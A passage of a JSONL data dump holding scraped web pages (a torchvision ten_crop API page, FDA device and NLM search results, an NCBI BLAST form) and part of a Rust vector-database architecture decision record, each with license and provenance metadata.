Torchvision 0.25 documentation\nLearn\nGet Started\nRun PyTorch locally or get started quickly with one of the supported cloud platforms\nTutorials\nWhats new in PyTorch tutorials\nLearn the Basics\nFamiliarize yourself with PyTorch concepts and modules\nPyTorch Recipes\nBite-size, ready-to-deploy PyTorch code examples\nIntro to PyTorch - YouTube Series\nMaster PyTorch basics with our engaging YouTube tutorial series\nEcosystem\nTools\nLearn about the tools and frameworks in the PyTorch Ecosystem\nCommunity\nJoin the PyTorch developer community to contribute, learn, and get your questions answered\nForums\nA place to discuss PyTorch code, issues, install, research\nDeveloper Resources\nFind resources and get questions answered\nContributor Awards - 2024\nAward winners announced at this year's PyTorch Conference\nEdge\nAbout PyTorch Edge\nBuild innovative and privacy-aware AI experiences for edge devices\nExecuTorch\nEnd-to-end solution for enabling on-device inference capabilities across mobile and edge devices\nExecuTorch Docs\nDocs\nPyTorch\nExplore the documentation for comprehensive guidance on how to use PyTorch\nPyTorch Domains\nRead the PyTorch Domains documentation to learn more about domain-specific libraries\nBlogs & News\nPyTorch Blog\nCatch up on the latest technical news and happenings\nCommunity Blog\nStories from the PyTorch ecosystem\nVideos\nLearn about the latest PyTorch tutorials, new, and more\nCommunity Stories\nLearn how our community solves real, everyday machine learning problems with PyTorch\nEvents\nFind events, webinars, and podcasts\nNewsletter\nStay up-to-date with the latest updates\nAbout\nPyTorch Foundation\nLearn more about the PyTorch Foundation\nGoverning Board Cloud Credit Program Technical Advisory Council Staff Contact Us\nBecome a Member\nten_crop\u00b6\ntorchvision.transforms.functional.ten_crop(img: Tensor, size: list[int], vertical_flip: bool = False) \u2192 tuple[torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor, torch.Tensor][source]\u00b6\nGenerate ten cropped images from the given image. Crop the given image into four corners and the central crop plus the flipped version of these (horizontal flipping is used by default). If the image is torch Tensor, it is expected to have [\u2026, H, W] shape, where \u2026 means an arbitrary number of leading dimensions\nNote\nThis transform returns a tuple of images and there may be a mismatch in the number of inputs and targets your Dataset returns.\nParameters:\nimg (PIL Image or Tensor) \u2013 Image to be cropped.\nsize (sequence or int) \u2013 Desired output size of the crop. If size is an int instead of sequence like (h, w), a square crop (size, size) is made. If provided a sequence of length 1, it will be interpreted as (size[0], size[0]).\nvertical_flip (bool) \u2013 Use vertical flipping instead of horizontal\nReturns:\ntuple (tl, tr, bl, br, center, tl_flip, tr_flip, bl_flip, br_flip, center_flip) Corresponding top left, top right, bottom left, bottom right and center crop and same for the flipped image.\nReturn type:\ntuple\nNext Previous\n\u00a9 Copyright 2017-present, Torch Contributors.\nBuilt with Sphinx using a theme provided by Read the Docs.\nten_crop\nDocs\nAccess comprehensive developer documentation for PyTorch\nView Docs\nTutorials\nGet in-depth tutorials for beginners and advanced developers\nView Tutorials\nResources\nFind development resources and get your questions answered\nView Resources\nPyTorch\nGet Started\nFeatures\nEcosystem\nBlog\nContributing\nResources\nTutorials\nDocs\nDiscuss\nGithub Issues\nBrand Guidelines\nStay up to date\nFacebook\nTwitter\nYouTube\nLinkedIn\nPyTorch Podcasts\nSpotify\nApple\nGoogle\nAmazon\nTerms\n|\nPrivacy\n\u00a9 Copyright The Linux Foundation. The PyTorch Foundation is a project of The Linux Foundation. For web site terms of use, trademark policy and other policies applicable to The PyTorch Foundation please see www.linuxfoundation.org/policies/. The PyTorch Foundation supports the PyTorch open source project, which has been established as PyTorch Project a Series of LF Projects, LLC. For policies applicable to the PyTorch Project a Series of LF Projects, LLC, please see www.lfprojects.org/policies/.\nTo analyze traffic and optimize your experience, we serve cookies on this site. By clicking or navigating, you agree to allow our usage of cookies. As the current maintainers of this site, Facebook\u2019s Cookies Policy applies. Learn more, including about available controls: Cookies Policy.\nLearn\nGet Started\nTutorials\nLearn the Basics\nPyTorch Recipes\nIntroduction to PyTorch - YouTube Series\nEcosystem\nTools\nCommunity\nForums\nDeveloper Resources\nContributor Awards - 2024\nEdge\nAbout PyTorch Edge\nExecuTorch\nExecuTorch Documentation\nDocs\nPyTorch\nPyTorch Domains\nBlog & News\nPyTorch Blog\nCommunity Blog\nVideos\nCommunity Stories\nEvents\nNewsletter\nAbout\nPyTorch Foundation\nGoverning Board\nCloud Credit Program\nTechnical Advisory Council\nStaff\nContact Us", "license": "apache-2.0", "quality_score": 0.75, "provenance": "pi.ruv.io/memory/8c0d00ba-ec10-4205-bb8b-7fa6176878ec", "content_hash": "a805ffcd1e231797e2245fd9b9fc60ce50bf50848dec7c867c7666b1ae3a6e81", "created_at": "2026-03-28T05:10:39.925423436Z"} +{"id": "33e65884-ebe1-43e7-99f4-39c0352d3ec1", "source": "brain", "text": "AccessGUDID - Origin\n\nAccessGUDID - Origin\nSkip to Main Content\nNational Library of Medicine NLM\nTools and Resources\nFDA UDI Home\nFDA Medical Devices Home\nReport a Device Problem (MedWatch)\nDevice Recalls\nDevice Safety Communications\nHome\nAbout\nNews\nDownload\nAPI\nHelp\nCustomer Support & FAQ\nFDA Tools and Resources\nFDA UDI Home\nFDA Medical Devices Home\nReport a Device Problem (MedWatch)\nDevice Recalls\nDevice Safety Communications\nGUDID\nMENU\nHome\nAbout\nNews\nAPI\nDownload\nHelp\nFDA TOOLS & RESOURCES\nFDA UDI Home\nFDA Medical Devices Home\nReport a Device Problem (MedWatch)\nDevice Recalls\nDevice Safety Communications\nAdvanced Search\nSearch Help\nHome\nAbout\nNews\nAPI\nDownload\nHelp\nView More\nHome\nAbout\nNews\nAPI\nDownload\nHelp\nSEARCH RESULTS FOR: Origin(1 result)\nExport results\nSearch Summary\nXML\nCSV\nXLS\nJSON\nFull Record\nDelimited .TXT Files\nFilters\nSort By\nRelevance\nCompany Name (A-Z)\nCompany Name (Z-A)\nBrand Name (A-Z)\nBrand Name (Z-A)\n10\nResults Per Page\n10\nResults/Pg\n10\n20\n30\n40\n50\n<\nPage\n1 >\n1\nCompany Name\nSynapse Biomedical, Inc. (1)\nBrand Name\nNeuRx DPS\u2122 Patient Kit, 1 EPG (1)\nGMDN Term Name\nIntramuscular diaphragm/phrenic nerve electrical stimulation system (1)\nGMDN Term Status\nActive (1)\nFDA Product Code Name\nDiaphragmatic/Phrenic Nerve Laparoscopically-Implanted Stimulator (1)\nFDA Product Code\nOIR (1)\nDevice Packaged As Sterile\nNo (1)\nSterilization Prior To Use\nNo (1)\nIssuing Agency\nGS1 (1)\nDevice Class\nClass III (1)\nImplantable\nYes (1)\nShow Filters\nNeuRx DPS\u2122 Patient Kit, 1 EPG - 00852184003052\nNo Description\nCompany Name: Synapse Biomedical, Inc.\nVersion or Model: 20-0046\nCommercial Distribution Status: In Commercial Distribution\nDevice IDs:\n00852184003052 ( Primary )\nCatalog Number:\nGMDN Terms:\nIntramuscular diaphragm/phrenic nerve electrical stimulation system\n< 1 >\nMENU\nHome\nAbout\nNews\nAPI\nDownload\nHelp\nFDA TOOLS & RESOURCES\nFDA UDI Home\nFDA Medical Devices Home\nReport a Device Problem (MedWatch)\nDevice Recalls\nDevice Safety Communications\nCustomer Support & FAQs\nAdvanced Search\nRSS\nCopyright\nPrivacy\nTerms of Use\nWeb Accessibility\nHHS Vulnerability Disclosure\nNational Institutes of Health\nNational Library of Medicine\nHealth & Human Services", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/33e65884-ebe1-43e7-99f4-39c0352d3ec1", "content_hash": "fcbbbd02426ba8c8c9710461b69fa9f320defa761a7ac46d21428666795377d1", "created_at": "2026-03-28T05:10:39.856998575Z"} +{"id": "dfcdbc18-ee53-488a-acba-08962a54e4f3", "source": "brain", "text": "Subjects: Hepatitis C - Digital Collections - National Library of Medicine Search Results\n\nSubjects: Hepatitis C - Digital Collections - National Library of Medicine Search Results\nSkip to search Skip to main content Skip to first result\nAn official website of the United States government. Here\u2019s how you know\nOfficial websites use .gov\nA .gov website belongs to an official government organization in the United States.\nSecure .gov websites use HTTPS\nA lock ( Lock\nA locked padlock ) or https:// means you\u2019ve safely connected to the .gov website. Share sensitive information only on official, secure websites.\nsearch for\nSearch\nAbout\nHelp\nWeb Service\nSearch\nSearch Constraints\nStart Over You searched for: Subjects Hepatitis C \u2716 Remove constraint Subjects: Hepatitis C\n1 - 2 of 2\nSort by relevance\nrelevance title\nNumber of results to display per page\n10 per page per page\n10 per page 20 per page 50 per page 100 per page\nSearch Results\n1. Cancer clinical trial eligibility criteria: patients with HIV, hepatitis B Virus, or hepatitis C Virus Infections\nPublication:\n[Silver Spring, MD] : United States Food and Drug Administration, Oncology Center of Excellence, July 2020\nSubject(s):\nClinical Trials as Topic\nHepatitis B\nHepatitis C\nHIV\nNeoplasms\nUnited States\nUnited States. Department of Health and Human Services\nUnited States. Food and Drug Administration\n2. Emerging infectious diseases\nAuthor(s):\nAvery, Eric.\nPublication:\n[2000]\nSubject(s):\nCommunicable Diseases\nHepatitis C\nHIV\nHospitals\nPatients\nPhysicians\nTuberculosis\nRefine by:\nShow facets Hide facets\nFormats\nStill image1\nText1\nCollections\nHealth Policy and Services Research1\nImages from the History of Medicine (IHM)1\nSubjects\nHIV2\nHepatitis C\u2716[remove]2\nClinical Trials as Topic1\nCommunicable Diseases1\nHepatitis B1\nmore Subjects \u00bb\nAuthors\nAvery, Eric.1\nTitles\nCancer clinical trial eligibility criteria: patients with HIV, hepatitis B Virus, or hepatitis C Virus Infections1\nEmerging infectious diseases1\nLanguages\nEnglish2\nGenre\nPictorial Work1\nTechnical Report1\nCopyright\nCopyright may apply1\nPublic domain1\nDates by Range\n2000 and later2\nPublication Year\nBegin\nEnd\n1000 to 10990\n1100 to 11990\n1200 to 12990\n1300 to 13990\n1400 to 14990\n1500 to 15990\n1600 to 16990\n1700 to 17990\n1800 to 18990\n1900 to 19990\n2000 to 20262\nConnect with NLM\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nNLM Support Center\nAccessibility\nCareers\nNLM | NIH | HHS | USA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/dfcdbc18-ee53-488a-acba-08962a54e4f3", "content_hash": "5c065a874376a951396b9bfa46346d9979df536c3c2032f6bdf8068b2b72c82e", "created_at": "2026-03-28T05:10:39.827142916Z"} +{"id": "669e5c2b-4ac2-40d9-be79-fdc2342a7d42", "source": "brain", "text": "Protein BLAST: search protein databases using a protein query\n\nProtein BLAST: search protein databases using a protein query\nAn official website of the United States government\nHere's how you know\nThe .gov means it\u2019s official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you\u2019re on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nSkip to main page content\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard (My NCBI)\nPublications (My Bibliography)\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nBLAST \u00ae \u00bb blastp suite\nHome\nRecent Results\nSaved Strategies\nHelp\nStandard Protein BLAST\nBLASTP programs search protein databases using a protein query. more...\nReset page\nBookmark\nEnter Query Sequence\nEnter accession number(s), gi(s), or FASTA sequence(s) Help Clear\nEnter query sequence(s) in the text area. It automatically determines the format of the input. To allow this feature, certain conventions are required with regard to the input of identifiers. more...\nCCK23135\nQuery subrange Help\nEnter coordinates for a subrange of the query sequence. The BLAST search will apply only to the residues in the range. Sequence coordinates are from 1 to the sequence length.The range includes the residue at the To coordinate. more...\nQuery subrangeFrom\nQuery subrangeTo\nOr, upload file\nHelp\nUse the browse button to upload a file from your local disk. The file may contain a single sequence or a list of sequences. The data may be either a list of database accession numbers, NCBI gi numbers, or sequences in FASTA format.\nGenetic code\nStandard (1) Vertebrate Mitochondrial (2) Yeast Mitochondrial (3) Mold Mitochondrial; ... (4) Invertebrate Mitochondrial (5) Ciliate Nuclear; ... (6) Echinoderm Mitochondrial (9) Euplotid Nuclear (10) Bacteria and Archaea (11) Alternative Yeast Nuclear (12) Ascidian Mitochondrial (13) Flatworm Mitochondrial (14) Chlorophycean Mitochondrial (16) Trematode Mitochondrial (21) Scenedesmus obliquus Mitochondrial (22) Thraustochytrium Mitochondrial (23) Pterobranchia Mitochondrial (24) Candidate Division SR1 and Gracilibacteria (25) Pachysolen tannophilus Nuclear (26) Karyorelict Nuclear (27) Condylostoma Nuclear (28) Mesodinium Nuclear (29) Peritrich Nuclear (30) Blastocrithidia Nuclear (31)\nJob Title\nEnter a descriptive title for your BLAST search Help\nThis title appears on all BLAST results and saved searches.\nAlign two or more sequences Help\nEnter one or more queries in the top text box and one or more subject sequences in the lower text box. Then use the BLAST button at the bottom of the page to align your sequences.\nTo get the CDS annotation in the output, use only the NCBI accession or gi number for either the query or subject. Reformat the results and check 'CDS feature' to display that annotation.\nEnter Subject Sequence\nEnter accession number(s), gi(s), or FASTA sequence(s) Help Clear\nSubject sequence(s) to be used for a BLAST search should be pasted in the text area. It automatically determines the format or the input. To allow this feature there are certain conventions required with regard to the input of identifiers. more...\nSubject subrange Help\nEnter coordinates for a subrange of the subject sequence. The BLAST search will apply only to the residues in the range. Sequence coordinates are from 1 to the sequence length.The range includes the residue at the To coordinate. more...\nSubject subrangeFrom\nSubject subrangeTo\nOr, upload file\nHelp\nUse the browse button to upload a file from your local disk. The file may contain a single sequence or a list of sequences. The data may be either a list of database accession numbers, NCBI gi numbers, or sequences in FASTA format.\nChoose Search Set\nDatabase\n\u2666Database sequences non-default value ClusteredNR (nr_cluster_seq) RefSeq Select proteins (refseq_select) Reference proteins (refseq_protein) Model Organisms (landmark) UniProtKB/Swiss-Prot(swissprot) Non-redundant protein sequences (nr) Patented protein sequences(pataa) Protein Data Bank proteins(pdb) Metagenomic proteins(env_nr) Transcriptome Shotgun Assembly proteins (tsa_nr) Help\nSelect the sequence database to run searches against. No BLAST database contains all the sequences at NCBI. BLAST databases are organized by informational content (nr, RefSeq, etc.) or by sequencing technique (WGS, EST, etc.). more...\nOrganism\nOptional\nexclude\nEnter organism common name, binomial, or tax id. Only 20 top taxa will be shown. Help\nStart typing in the text box, then select your taxid. Use the \"plus\" button to add another organism or group, and the \"exclude\" checkbox to narrow the subset. The search will be restricted to the sequences in the database that correspond to your subset.\nExclude\nOptional\nExclude Models (XM/XP) Non-redundant RefSeq proteins (WP) Exclude Uncultured/environmental sample sequences\nEntrez Query\nOptional\nCreate custom database\nEnter an Entrez query to limit search Help\nYou can use Entrez query syntax to search a subset of the selected BLAST database. This can be helpful to limit searches to molecule types, sequence lengths or to exclude organisms. more...\nProgram Selection Optimize for\nOptimize for Highly similar sequences (megablast)\nOptimize for More dissimilar sequences (discontiguous megablast)\nOptimize for Somewhat similar sequences (blastn)\nChoose a BLAST algorithm Help\nMegablast is intended for comparing a query to closely related sequences and works best if the target percent identity is 95% or more but is very fast.\nDiscontiguous megablast uses an initial seed that ignores some bases (allowing mismatches) and is intended for cross-species comparisons.\nBlastN is slow, but allows a word-size down to seven bases.\nmore...\nAlgorithm\nAlgorithm Quick BLASTP (Accelerated protein-protein BLAST)\nAlgorithm blastp (protein-protein BLAST)\nAlgorithm PSI-BLAST (Position-Specific Iterated BLAST)\nAlgorithm PHI-BLAST (Pattern Hit Initiated BLAST)\nEnter a PHI pattern Help\nEnter a PHI pattern to start the search. PHI-BLAST may perform better than simple pattern searching because it filters out false positives (pattern matches that are probably random and not indicative of homology).\nAlgorithm DELTA-BLAST (Domain Enhanced Lookup Time Accelerated BLAST)\nChoose a BLAST algorithm Help\nQuickBLASTP is an accelerated version of BLASTP that is very fast and works best if the target percent identity is 50% or more.\nBlastP simply compares a protein query to a protein database.\nPSI-BLAST allows the user to build a PSSM (position-specific scoring matrix) using the results of the first BlastP run.\nPHI-BLAST performs the search but limits alignments to those that match a pattern in the query.\nDELTA-BLAST constructs a PSSM using the results of a Conserved Domain Database search and searches a sequence database.\nSearch using Blastp (protein-protein BLAST)\nShow results in a new window\nNote: Parameter values that differ from the default are highlighted in yellow and marked with \u2666 sign\nAlgorithm parameters\nRestore default search parameters\nGeneral Parameters Max target sequences\n\u2666Max target sequences non-default value 10 50 100 5000\nSelect the maximum number of aligned sequences to display Help\nMaximum number of aligned sequences to display (the actual number of alignments may be greater than this).\nShort queries\nAutomatically adjust parameters for short input sequences Help\nAutomatically adjust word size and other parameters to improve results for short queries.\nExpect threshold\n\u2666Expect threshold non-default value Help\nExpected number of chance matches in a random model. more... Expect value tutorial\nWord size\n\u2666Word size non-default value 2 3 5 6 Help\nThe length of the seed that initiates an alignment. more...\nMax matches in a query range\n\u2666Max matches in a query range non-default value Help\nLimit the number of matches to a query range. This option is use", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/669e5c2b-4ac2-40d9-be79-fdc2342a7d42", "content_hash": "8061833fb5cdcacd83228e0b174c3e10af92e2511b59a317a931b20f80c5557d", "created_at": "2026-03-28T05:10:39.725539017Z"} +{"id": "088c3965-7188-4d06-a3a2-fba31004b90e", "source": "adr", "text": "# ADR-001: Ruvector Core Architecture\n\n**Status**: Proposed\n**Date**: 2026-01-18\n**Authors**: ruv.io, RuVector Team\n**Deciders**: Architecture Review Board\n**SDK**: Claude-Flow\n\n**Note**: The storage layer described in this ADR is superseded by ADR-029 (RVF as Canonical Binary Format). All vector persistence now uses the RVF segment model.\n\n## Version History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 0.1 | 2026-01-18 | ruv.io | Initial architecture proposal |\n\n---\n\n## Context\n\n### The Vector Database Challenge\n\nModern AI applications require vector databases that can:\n\n1. **Store high-dimensional embeddings** from LLMs and embedding models\n2. **Search with sub-millisecond latency** for real-time inference\n3. **Scale to billions of vectors** while maintaining performance\n4. **Deploy anywhere** - edge devices, browsers (WASM), cloud servers\n5. **Integrate seamlessly** with LLM inference pipelines\n\n### Current State of Vector Databases\n\nExisting solutions fall into several categories:\n\n| Category | Examples | Limitations |\n|----------|----------|-------------|\n| **Cloud-only** | Pinecone | No edge deployment, vendor lock-in |\n| **Heavy native** | Milvus, Qdrant | Complex deployment, high memory |\n| **Python-first** | ChromaDB, FAISS | Performance overhead, no WASM |\n| **Learning-capable** | None | No existing solutions learn from usage |\n\n### The Ruvector Vision\n\nRuvector is designed as a **high-performance, learning-capable vector database** implemented in Rust that:\n\n- Achieves **61us p50 latency** for k=10 search on 384-dim vectors\n- Provides **2-32x memory compression** through tiered quantization\n- Runs **anywhere** - native (x86_64, ARM64), WASM (browser, edge), PostgreSQL extension\n- **Learns from usage** via GNN layers that improve search quality over time\n- Integrates with **AI agent memory systems** for policy, session state, and audit logs\n\n---\n\n## Decision\n\n### Adopt a Layered, SIMD-Optimized Architecture\n\nWe implement ruvector-core as the foundational vector database engine with the following architecture:\n\n```\n+-----------------------------------------------------------------------------+\n| APPLICATION LAYER |\n| AgenticDB | VectorDB API | Cypher Queries | REST/gRPC Server |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| INDEX LAYER |\n| HNSW Index | Flat Index | Filtered Search | Hybrid Search | MMR |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| QUANTIZATION LAYER |\n| Scalar (4x) | Product (8-16x) | Binary (32x) | Conformal Prediction |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| DISTANCE LAYER |\n| Euclidean | Cosine | Dot Product | Manhattan | SIMD Dispatch |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| SIMD INTRINSICS LAYER |\n| AVX2/AVX-512 (x86_64) | NEON (ARM64/Apple Silicon) | Scalar Fallback |\n+-----------------------------------------------------------------------------+\n |\n+-----------------------------------------------------------------------------+\n| STORAGE LAYER |\n| REDB (native) | Memory-only (WASM) | PostgreSQL Extension |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Key Components\n\n### 1. SIMD Intrinsics Layer (`simd_intrinsics.rs`)\n\nThe performance foundation of ruvector, providing hardware-accelerated distance calculations.\n\n#### Architecture Dispatch\n\n```rust\npub fn euclidean_distance_simd(a: &[f32], b: &[f32]) -> f32 {\n #[cfg(target_arch = \"x86_64\")]\n {\n if is_x86_feature_detected!(\"avx2\") {\n unsafe { euclidean_distance_avx2_impl(a, b) }\n } else {\n euclidean_distance_scalar(a, b)\n }\n }\n\n #[cfg(target_arch = \"aarch64\")]\n {\n unsafe { euclidean_distance_neon_impl(a, b) }\n }\n\n #[cfg(not(any(target_arch = \"x86_64\", target_arch = \"aarch64\")))]\n {\n euclidean_distance_scalar(a, b)\n }\n}\n```\n\n#### Supported Operations\n\n| Operation | AVX2 (x86_64) | NEON (ARM64) | Scalar Fallback |\n|-----------|---------------|--------------|-----------------|\n| Euclidean Distance | 8 floats/cycle | 4 floats/cycle | 1 float/cycle |\n| Dot Product | 8 floats/cycle | 4 floats/cycle | 1 float/cycle |\n| Cosine Similarity | 8 floats/cycle | 4 floats/cycle | 1 float/cycle |\n| Manhattan Distance | N/A | 4 floats/cycle | 1 float/cycle |\n\n#### Performance Characteristics\n\n| Metric | AVX2 | NEON | Scalar |\n|--------|------|------|--------|\n| **512-dim Euclidean** | ~16M ops/sec | ~8M ops/sec | ~2M ops/sec |\n| **384-dim Cosine** | ~143ns | ~200ns | ~800ns |\n| **1536-dim Dot Product** | ~33ns | ~50ns | ~150ns |\n\n#### Security Guarantees\n\n- Bounds checking via `assert_eq!(a.len(), b.len())` prevents buffer overflows\n- Unaligned loads (`_mm256_loadu_ps`, `vld1q_f32`) handle arbitrary alignment\n- Scalar fallback handles remainder elements after SIMD processing\n\n### 2. Distance Metrics Layer (`distance.rs`)\n\nHigh-level distance API with optional SimSIMD integration for additional acceleration.\n\n#### Supported Metrics\n\n```rust\npub enum DistanceMetric {\n Euclidean, // L2 distance: sqrt(sum((a[i] - b[i])^2))\n Cosine, // 1 - cosine_similarity\n DotProduct, // Negative dot product (for maximization)\n Manhattan, // L1 distance: sum(|a[i] - b[i]|)\n}\n```\n\n#### Feature Flags\n\n| Feature | Description | Use Case |\n|---------|-------------|----------|\n| `simd` | SimSIMD acceleration | Native builds |\n| `parallel` | Rayon batch processing | Multi-core systems |\n| None | Pure Rust fallback | WASM builds |\n\n#### Batch Distance API\n\n```rust\npub fn batch_distances(\n query: &[f32],\n vectors: &[Vec],\n metric: DistanceMetric,\n) -> Result> {\n #[cfg(all(feature = \"parallel\", not(target_arch = \"wasm32\")))]\n {\n use rayon::prelude::*;\n vectors.par_iter()\n .map(|v| distance(query, v, metric))\n .collect()\n }\n // Sequential fallback for WASM...\n}\n```\n\n### 3. Index Structures (`index/`)\n\n#### HNSW Index (`index/hnsw.rs`)\n\nHierarchical Navigable Small World graph for approximate nearest neighbor search.\n\n**Configuration Parameters:**\n\n| Parameter | Default | Description |\n|-----------|---------|-------------|\n| `m` | 32 | Connections per layer (higher = better recall, more memory) |\n| `ef_construction` | 200 | Build-time search depth (higher = better graph, slower build) |\n| `ef_search` | 100 | Query-time search depth (higher = better recall, slower query) |\n| `max_elements` | 10M | Pre-allocated capacity |\n\n**Complexity Analysis:**\n\n| Operation | Time Complexity | Space Complexity |\n|-----------|-----------------|------------------|\n| Insert | O(log n * m * ef_construction) | O(m * log n) per vector |\n| Search | O(log n * m * ef_search) | O(ef_search) |\n| Delete | O(1)* | O(1) |\n\n*Note: HNSW deletion marks vectors as removed but does not restructure the graph.\n\n**Serialization:**\n\n```rust\npub struct HnswState {\n vectors: Vec<(String, Vec)>,\n id_to_idx: Vec<(String, usize)>,\n idx_to_id: Vec<(usize, String)>,\n next_idx: usize,\n config: SerializableHnswConfig,\n dimensions: usize,\n metric: SerializableDistanceMetric,\n}\n```\n\n#### Flat Index\n\nLinear scan index for small datasets or exact search.\n\n**Use Cases:**\n- Datasets < 10K vectors\n- Exact k-NN required\n- Benchmarking HNSW recall\n\n### 4. Quantization Strategies (`quantization.rs`)\n\nMemory compression techniques trading precision for storage efficiency.\n\n#### Scalar Quantization (4x compression)\n\nQuantizes f32 to u8 using min-max scaling.\n\n```rust\npub struct ScalarQuantized {\n pub data: Vec, // Quantized values\n pub min: f32, // Minimum for dequantization\n pub scale: f32, // Scale factor\n}\n```\n\n**Characteristics:**\n- Compression: 4x (f32 -> u8)\n- Distance calculation: Uses average scale for symmetric distance\n- Reconstruction error: < 0.4% for typical embedding distributions\n\n#### Product Quantization (8-16x compression)\n\nDivides vectors into subspaces, each quantized independently via k-means codebooks.\n\n```rust\npub struct ProductQuantized {\n pub codes: Vec, // One code per subspace\n pub codebooks: Vec>>, // Learned centroids\n}\n```\n\n**Training:**\n- K-means clustering on subspace vectors\n- Codebook size typically 256 (fits in u8)\n- Iterations: 10-100 for convergence\n\n#### Binary Quantization (32x compression)\n\nSingle-bit representation based on sign.\n\n```rust\npub struct BinaryQuantized {\n pub bits: Vec, // Packed bits (8 dimensions per byte)\n pub dimensions: usize,\n}\n```\n\n**Characteristics:**\n- Compression: 32x (f32 -> 1 bit)\n- Distance: Hamming distance (XOR + popcount)\n- Best for: Filtering stage before exact distance on candidates\n\n#### Tiered Compression Strategy\n\nRuvector automatically manages compression based on access patterns:\n\n| Access Frequency | Format | Compression | Latency |\n|-----------------|--------|-------------|---------|\n| Hot (>80%) | f32 | 1x | Instant |\n| Warm (40-80%) | f16 | 2x | ~1us |\n| Cool (10-40%) | Scalar | 4x | ~10us |\n| Cold (1-10%) | Product | 8-16x | ~100us |\n| Archive (<1%) | Binary | 32x | ~1ms |\n\n### 5. Memory Management\n\n#### Arena Allocator (`arena.rs`)\n\nBump allocator for batch operations reducing allocation overhead.\n\n#### Lock-Free Structures (`lockfree.rs`)\n\n- Crossbeam-based concurrent data structures\n- Lock-free queues for batch ingestion\n- Available only on `parallel` feature (not WASM)\n\n#### Cache-Optimized Operations (`cache_optimized.rs`)\n\n- Prefetching hints for sequential access\n- Cache-line aligned storage\n- NUMA-aware allocation on supported platforms\n\n### 6. Storage Layer (`storage.rs`)\n\n#### Native Storage (REDB)\n\n- ACID transactions\n- Memory-mapped vectors\n- Configuration persistence\n- Connection pooling for multiple VectorDB instances\n\n```rust\nconst VECTORS_TABLE: TableDefinition<&str, &[u8]> = TableDefinition::new(\"vectors\");\nconst METADATA_TABLE: TableDefinition<&str, &str> = TableDefinition::new(\"metadata\");\nconst CONFIG_TABLE: TableDefinition<&str, &str> = TableDefinition::new(\"config\");\n```\n\n**Security:**\n- Path traversal protection\n- Validates relative paths don't escape working directory\n\n#### Memory-Only Storage (`storage_memory.rs`)\n\n- Pure in-memory for WASM\n- No persistence\n- DashMap for concurrent access\n\n---\n\n## Integration Points\n\n### 1. Policy Memory Store\n\nRuvector serves as the backing store for AI agent policy memory:\n\n```\n+-------------------+ +-------------------+ +-------------------+\n| AI Agent | | Policy Memory | | ruvector-core |\n| | ----> | (AgenticDB) | ----> | |\n| \"What action for | | Search similar | | HNSW search |\n| this situation?\" | | past situations | | with metadata |\n+-------------------+ +-------------------+ +-------------------+\n```\n\n**Use Cases:**\n- Q-learning state-action lookups\n- Contextual bandit policy retrieval\n- Episodic memory for reasoning\n\n### 2. Session State Index\n\nReal-time session context for conversational AI:\n\n```\n+-------------------+ +-------------------+ +-------------------+\n| Chat Session | | Session Index | | ruvector-core |\n| | ----> | | ----> | |\n| Current context | | Find relevant | | Cosine similarity |\n| embedding | | past turns | | top-k search |\n+-------------------+ +-------------------+ +-------------------+\n```\n\n**Requirements:**\n- < 10ms latency for interactive use\n- Session isolation via namespaces\n- TTL-based cleanup\n\n### 3. Witness Log for Audit\n\nCryptographically-linked audit trail:\n\n```\n+-------------------+ +-------------------+ +-------------------+\n| Agent Action | | Witness Log | | ruvector-core |\n| | ----> | | ----> | |\n| Action embedding | | Store with hash | | Append-only |\n| + metadata | | chain reference | | with timestamps |\n+-------------------+ +-------------------+ +-------------------+\n```\n\n**Properties:**\n- Immutable entries\n- Hash-chain linking\n- Semantic searchability\n\n---\n\n## Decision Drivers\n\n### 1. Performance (Sub-millisecond Latency)\n\n| Requirement | Implementation |\n|-------------|----------------|\n| 61us p50 search | SIMD-optimized distance + HNSW |\n| 16,400 QPS | Parallel search with Rayon |\n| Batch ingestion | Lock-free queues + bulk insert |\n\n### 2. Memory Efficiency (Quantization Support)\n\n| Requirement | Implementation |\n|-------------|----------------|\n| 4x compression | Scalar quantization |\n| 8-16x compression | Product quantization |\n| 32x compression | Binary quantization |\n| Automatic tiering | Access pattern tracking |\n\n### 3. Cross-Platform Portability (WASM, Native)\n\n| Platform | Features Available |\n|----------|-------------------|\n| x86_64 Linux/macOS | Full (SIMD, parallel, storage) |\n| ARM64 macOS (Apple Silicon) | Full (NEON, parallel, storage) |\n| WASM (browser) | Memory-only, scalar fallback |\n| PostgreSQL extension | Full + SQL integration |\n\n### 4. LLM Integration\n\n| Requirement | Implementation |\n|-------------|----------------|\n| Embedding ingestion | API-based and local providers |\n| Semantic search | Cosine/dot product metrics |\n| RAG pipeline | Hybrid search + metadata filtering |\n\n---\n\n## Alternatives Considered\n\n### Alternative 1: Pure Python Implementation (NumPy/FAISS)\n\n**Rejected because:**\n- 10-100x slower than Rust SIMD\n- No WASM support\n- GIL contention in concurrent workloads\n\n### Alternative 2: C++ with Bindings\n\n**Rejected because:**\n- Memory safety concerns\n- Complex cross-compilation\n- Build system complexity (CMake)\n\n### Alternative 3: Qdrant/Milvus Integration\n\n**Rejected because:**\n- External service dependency\n- No WASM support\n- Complex deployment for edge use cases\n\n### Alternative 4: GPU-Only Acceleration (CUDA/ROCm)\n\n**Rejected because:**\n- Not portable to edge/mobile\n- Driver dependencies\n- Overkill for < 100M vectors\n\n---\n\n## Consequences\n\n### Benefits\n\n1. **Performance**: 